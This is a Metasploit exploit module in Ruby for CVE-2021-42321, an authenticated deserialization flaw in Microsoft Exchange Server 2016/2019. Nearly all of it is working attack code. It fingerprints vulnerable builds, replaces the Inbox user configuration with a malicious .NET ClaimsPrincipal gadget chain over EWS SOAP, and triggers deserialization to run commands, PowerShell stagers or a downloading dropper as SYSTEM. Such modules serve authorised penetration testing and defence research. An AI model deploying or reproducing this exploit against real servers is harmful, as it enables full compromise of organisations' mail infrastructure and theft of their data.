Microsoft Exchange Server Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'nokogiri'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',  
'Description' => %q{  
This vulnerability allows remote attackers to execute arbitrary code  
on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11  
prior to Security Update 2, Exchange Server 2016 CU21 prior to  
Security Update 3, and Exchange Server 2016 CU22 prior to  
Security Update 2.  
  
Note that authentication is required to exploit this vulnerability.  
  
The specific flaw exists due to the fact that the deny list for the  
ChainedSerializationBinder had a typo whereby an entry was typo'd as  
System.Security.ClaimsPrincipal instead of the proper value of  
System.Security.Claims.ClaimsPrincipal.  
  
By leveraging this vulnerability, attacks can bypass the  
ChainedSerializationBinder's deserialization deny list  
and execute code as NT AUTHORITY\SYSTEM.  
  
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,  
and Exchange Server 2016 CU22 SU0 on Windows Server 2016.  
},  
'Author' => [  
'pwnforsp', # Original Bug Discovery  
'zcgonvh', # Of 360 noah lab, Original Bug Discovery  
'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild  
'Microsoft Security Response Center', # Discovery of exploitation in the wild  
'peterjson', # Writeup  
'testanull', # PoC Exploit  
'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D  
],  
'References' => [  
['CVE', '2021-42321'],  
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],  
['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],  
['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],  
['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],  
['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']  
],  
'DisclosureDate' => '2021-12-09',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'HttpClientTimeout' => 5,  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169  
CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.  
]  
}  
)  
)  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),  
OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def vuln_builds  
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019  
[  
[Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21  
[Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22  
[Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10  
[Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11  
]  
end  
  
def check  
# First lets try a cheap way of doing this via a leak of the X-OWA-Version header.  
# If we get this we know the version number for sure and we can skip a lot of leg work.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/owa/service')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.headers['X-OWA-Version']  
build = res.headers['X-OWA-Version']  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Next, determine if we are up against an older version of Exchange Server where  
# the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange  
# give only a partial version without the build number.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.code == 200 && ((%r{/owa/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body))  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application  
# URL which if successful should provide some XML with entries like the following:  
#  
# <assemblyIdentity name="microsoft.exchange.ediscovery.exporttool.application"  
# version="15.2.986.5" publicKeyToken="b1d1a6c45aa418ce" language="neutral"  
# processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />  
#  
# This only works on Exchange Server 2013 and later and may not always work, but if it  
# does work it provides the full version number so its a nice strategy.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.code == 200 && res.body =~ /name="microsoft.exchange.ediscovery.exporttool" version="\d+\.\d+\.\d+\.\d+"/  
build = res.body.match(/name="microsoft.exchange.ediscovery.exporttool" version="(\d+\.\d+\.\d+\.\d+)"/)[1]  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx  
# to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200  
# OK response, we found the target version number, otherwise we didn't find it.  
#  
# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of  
# canonical_segments to make this close to the Rex::Version code format. Also for noticing that  
# version_range is a Rex::Version object already and cleaning up some of my original code to simplify  
# things on this premise.  
  
vuln_builds.each do |version_range|  
return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]  
  
prepend_range = version_range[0].canonical_segments[0..-2]  
lowest_patch = version_range[0].canonical_segments.last  
while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/ecp/#{build}/exporttool/")  
)  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
if res && res.code == 200  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
end  
  
lowest_patch += 1  
end  
  
CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')  
end  
end  
  
def exploit  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def execute_command(cmd, _opts = {})  
# Get the user's inbox folder's ID and change key ID.  
print_status("Getting the user's inbox folder's ID and ChangeKey ID...")  
xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:GetFolder>  
<m:FolderShape>  
<t:BaseShape>AllProperties</t:BaseShape>  
</m:FolderShape>  
<m:FolderIds>  
<t:DistinguishedFolderId Id="inbox" />  
</m:FolderIds>  
</m:GetFolder>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_getfolder_inbox,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
xml_getfolder = res.get_xml_document  
xml_getfolder.remove_namespaces!  
xml_tag = xml_getfolder.xpath('//FolderId')  
if xml_tag.empty?  
fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')  
end  
unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')  
fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')  
end  
change_key_val = xml_tag.attribute('ChangeKey').value  
folder_id_val = xml_tag.attribute('Id').value  
print_good("ChangeKey value for Inbox folder is #{change_key_val}")  
print_good("ID value for Inbox folder is #{folder_id_val}")  
  
# Delete the user configuration object that currently on the Inbox folder.  
print_status('Deleting the user configuration object associated with Inbox folder...')  
xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:DeleteUserConfiguration>  
<m:UserConfigurationName Name="ExtensionMasterTable">  
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />  
</m:UserConfigurationName>  
</m:DeleteUserConfiguration>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_delete_inbox_user_config,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}  
print_good('Successfully deleted the user configuration object associated with the Inbox folder!')  
else  
print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')  
print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')  
end  
  
# Now to replace the deleted user configuration object with our own user configuration object.  
print_status('Creating the malicious user configuration object on the Inbox folder!')  
  
gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))  
xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:CreateUserConfiguration>  
<m:UserConfiguration>  
<t:UserConfigurationName Name="ExtensionMasterTable">  
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />  
</t:UserConfigurationName>  
<t:Dictionary>  
<t:DictionaryEntry>  
<t:DictionaryKey>  
<t:Type>String</t:Type>  
<t:Value>OrgChkTm</t:Value>  
</t:DictionaryKey>  
<t:DictionaryValue>  
<t:Type>Integer64</t:Type>  
<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>  
</t:DictionaryValue>  
</t:DictionaryEntry>  
<t:DictionaryEntry>  
<t:DictionaryKey>  
<t:Type>String</t:Type>  
<t:Value>OrgDO</t:Value>  
</t:DictionaryKey>  
<t:DictionaryValue>  
<t:Type>Boolean</t:Type>  
<t:Value>false</t:Value>  
</t:DictionaryValue>  
</t:DictionaryEntry>  
</t:Dictionary>  
<t:BinaryData>#{gadget_chain}</t:BinaryData>  
</m:UserConfiguration>  
</m:CreateUserConfiguration>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_malicious_user_config,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}  
fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')  
end  
  
print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')  
  
# Deserialize our object. If all goes well, you should now have SYSTEM :)  
print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')  
xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:GetClientAccessToken>  
<m:TokenRequests>  
<t:TokenRequest>  
<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>  
<t:TokenType>CallerIdentity</t:TokenType>  
</t:TokenRequest>  
</m:TokenRequests>  
</m:GetClientAccessToken>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_get_client_access_token,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
unless res.body =~ %r{<e:Message xmlns:e="http://schemas.microsoft.com/exchange/services/2006/errors">An internal server error occurred. The operation failed.</e:Message>}  
fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')  
end  
end  
end  
`